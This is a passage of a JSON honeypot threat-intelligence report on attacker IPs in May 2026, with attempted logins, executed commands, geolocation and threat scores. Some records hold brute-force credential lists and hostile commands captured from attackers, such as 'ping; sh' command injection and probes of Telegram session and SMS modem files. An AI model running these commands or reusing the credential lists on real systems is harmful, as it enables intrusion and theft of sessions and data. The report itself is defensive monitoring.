        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T13:59:11+00:00",
        "last_seen_30d": "2026-05-17T18:35:38.984000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 63,
        "Honeytrap": 16
      }
    },
    "120.48.104.37": {
      "attack_count": 57,
      "first_seen": "2026-05-11T21:17:17.590Z",
      "last_seen": "2026-05-11T22:26:11.867Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftpusers",
        "git_user",
        "mysql",
        "user"
      ],
      "passwords_attempted": [
        "654321",
        "User123",
        "adminserver2023",
        "cactiadmin",
        "ftpusers",
        "git_user",
        "president",
        "teste1234",
        "ubuntu@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:17:17.590000+00:00",
        "last_seen_30d": "2026-05-11T22:36:12.680000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 57,
        "Suricata": 42
      }
    },
    "184.154.78.51": {
      "attack_count": 54,
      "first_seen": "2026-05-11T08:03:58.182Z",
      "last_seen": "2026-05-19T00:11:18.556Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:03:58.182000+00:00",
        "last_seen_30d": "2026-05-19T00:12:26.628000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "36.255.33.215": {
      "attack_count": 50,
      "first_seen": "2026-05-20T00:03:57.230Z",
      "last_seen": "2026-05-20T00:09:21.644Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:03:57.230000+00:00",
        "last_seen_30d": "2026-05-20T00:10:31.133000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "134.119.193.235": {
      "attack_count": 42,
      "first_seen": "2026-05-03T00:00:56.756Z",
      "last_seen": "2026-05-12T18:05:13.151Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 29066,
      "as_org": "velia.net Internetdienste GmbH",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:00:56.756000+00:00",
        "last_seen_30d": "2026-05-12T18:06:21.851000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "199.127.60.2": {
      "attack_count": 42,
      "first_seen": "2026-05-17T20:01:35.898Z",
      "last_seen": "2026-05-31T06:05:50.581Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:01:35.898000+00:00",
        "last_seen_30d": "2026-05-31T06:06:50.932000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "101.185.243.209": {
      "attack_count": 40,
      "first_seen": "2026-05-28T08:23:17.454Z",
      "last_seen": "2026-05-28T08:35:38.732Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Perth",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T08:23:17.454000+00:00",
        "last_seen_30d": "2026-05-28T08:45:45.858000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 25
      }
    },
    "50.7.136.106": {
      "attack_count": 38,
      "first_seen": "2026-05-15T01:31:50.386Z",
      "last_seen": "2026-05-15T03:09:11.907Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cloud",
        "curl"
      ],
      "passwords_attempted": [
        "welltech12",
        "LHY@123.com!",
        "Wangsu@2017",
        "Yun@wocloud.szkj",
        "fjbdfdjkdsfs541544",
        "zhbjETuyMffoL8F"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T00:51:43.728000+00:00",
        "last_seen_30d": "2026-05-15T03:10:19.366000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 22
      }
    },
    "85.130.237.235": {
      "attack_count": 36,
      "first_seen": "2026-05-20T11:24:05.169Z",
      "last_seen": "2026-05-20T11:25:02.010Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "1234",
        "adtec",
        "default",
        "guest",
        "jim",
        "radware",
        "super",
        "websecadm"
      ],
      "passwords_attempted": [
        "admin",
        "0000",
        "1234",
        "12345",
        "666",
        "888888",
        "S2fGqNFs",
        "admin1",
        "adtec",
        "changeme",
        "guest",
        "jim123",
        "password",
        "radware",
        "root",
        "sitecom46",
        "sp-admin",
        "xc12345",
        "zlxx."
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:24:05.169000+00:00",
        "last_seen_30d": "2026-05-20T11:26:11.591000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "14.189.35.76": {
      "attack_count": 35,
      "first_seen": "2026-05-09T03:50:25.597Z",
      "last_seen": "2026-05-09T03:52:56.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:50:25.597000+00:00",
        "last_seen_30d": "2026-05-09T03:53:58.648000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "176.123.2.173": {
      "attack_count": 30,
      "first_seen": "2026-05-05T01:35:51.189Z",
      "last_seen": "2026-05-31T21:06:48.189Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:35:51.189000+00:00",
        "last_seen_30d": "2026-05-31T21:07:57.778000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "69.57.172.212": {
      "attack_count": 30,
      "first_seen": "2026-05-08T05:21:41.763Z",
      "last_seen": "2026-05-29T06:04:56.684Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Navi Mumbai",
      "asn": 199404,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:21:41.763000+00:00",
        "last_seen_30d": "2026-05-29T06:06:00.104000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "91.223.69.87": {
      "attack_count": 30,
      "first_seen": "2026-05-05T00:56:34.281Z",
      "last_seen": "2026-05-29T18:15:17.027Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Slovakia",
      "country_code": "SK",
      "city": null,
      "asn": 41591,
      "as_org": "EuroServer.sk s.r.o.",
      "threat_score": 45.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:56:34.281000+00:00",
        "last_seen_30d": "2026-05-29T18:16:18.164000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "192.154.229.68": {
      "attack_count": 24,
      "first_seen": "2026-05-21T02:24:34.785Z",
      "last_seen": "2026-05-31T02:45:31.211Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 397423,
      "as_org": "Tier.Net Technologies LLC",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:24:34.785000+00:00",
        "last_seen_30d": "2026-05-31T02:46:31.500000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "65.109.228.161": {
      "attack_count": 24,
      "first_seen": "2026-05-14T16:27:34.421Z",
      "last_seen": "2026-05-28T07:51:48.920Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T16:27:34.421000+00:00",
        "last_seen_30d": "2026-05-28T07:52:56.654000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "31.57.216.33": {
      "attack_count": 21,
      "first_seen": "2026-05-09T13:53:40.950Z",
      "last_seen": "2026-05-15T07:27:30.998Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "support",
        "root"
      ],
      "passwords_attempted": [
        "support",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:53:40.950000+00:00",
        "last_seen_30d": "2026-05-15T07:28:40.623000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 13
      }
    },
    "185.246.128.171": {
      "attack_count": 17,
      "first_seen": "2026-05-21T04:25:26.321Z",
      "last_seen": "2026-05-29T13:15:03.313Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "0",
        "a",
        "ui",
        "newuser",
        "temp"
      ],
      "passwords_attempted": [
        "0",
        "a",
        "ui",
        "password",
        "temp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T04:25:26.321000+00:00",
        "last_seen_30d": "2026-05-29T13:16:11.726000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 10
      }
    },
    "101.36.104.242": {
      "attack_count": 15,
      "first_seen": "2026-05-16T17:03:23.968Z",
      "last_seen": "2026-05-16T17:05:03.358Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 62.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.4,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T00:56:41.453000+00:00",
        "last_seen_30d": "2026-05-29T21:12:54.378000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Tanner": 88,
        "Cowrie": 15
      }
    },
    "43.228.157.149": {
      "attack_count": 14,
      "first_seen": "2026-05-08T03:44:14.216Z",
      "last_seen": "2026-05-12T21:32:49.680Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:44:14.216000+00:00",
        "last_seen_30d": "2026-05-12T21:33:50.193000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "63.78.118.105": {
      "attack_count": 12,
      "first_seen": "2026-05-15T14:27:29.470Z",
      "last_seen": "2026-05-15T14:27:38.207Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil"
      ],
      "passwords_attempted": [
        "",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Pleasant Grove",
      "asn": 36103,
      "as_org": "Central Utah Telephone, Inc.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T14:27:29+00:00",
        "last_seen_30d": "2026-05-15T14:28:47.729000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10,
        "Honeytrap": 2
      }
    },
    "91.208.184.242": {
      "attack_count": 12,
      "first_seen": "2026-05-05T04:19:32.799Z",
      "last_seen": "2026-05-10T00:38:59.850Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:19:32.799000+00:00",
        "last_seen_30d": "2026-05-10T00:40:05.398000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.140.0.236": {
      "attack_count": 10,
      "first_seen": "2026-05-08T04:52:56.030Z",
      "last_seen": "2026-05-08T04:53:02.913Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:52:56.030000+00:00",
        "last_seen_30d": "2026-05-08T04:54:09.519000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "65.49.1.172": {
      "attack_count": 8,
      "first_seen": "2026-05-06T09:40:56.126Z",
      "last_seen": "2026-05-29T11:53:20.396Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 30,
        "ports_targeted_30d": 90,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T02:07:06+00:00",
        "last_seen_30d": "2026-05-31T11:40:48.437000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 304,
        "Honeytrap": 105,
        "H0neytr4p": 16,
        "Ciscoasa": 11,
        "Cowrie": 8,
        "Mailoney": 6,
        "ConPot": 5,
        "Adbhoney": 2,
        "Dionaea": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "102.220.160.29": {
      "attack_count": 7,
      "first_seen": "2026-05-17T14:47:44.219Z",
      "last_seen": "2026-05-17T14:47:47.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "tinashe"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:47:44.219000+00:00",
        "last_seen_30d": "2026-05-17T14:48:57.247000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "195.96.138.16": {
      "attack_count": 6,
      "first_seen": "2026-05-23T15:43:11.733Z",
      "last_seen": "2026-05-24T05:17:26.868Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 210924,
      "as_org": "SSD Networks Limited",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 1.7,
        "diversity": 4,
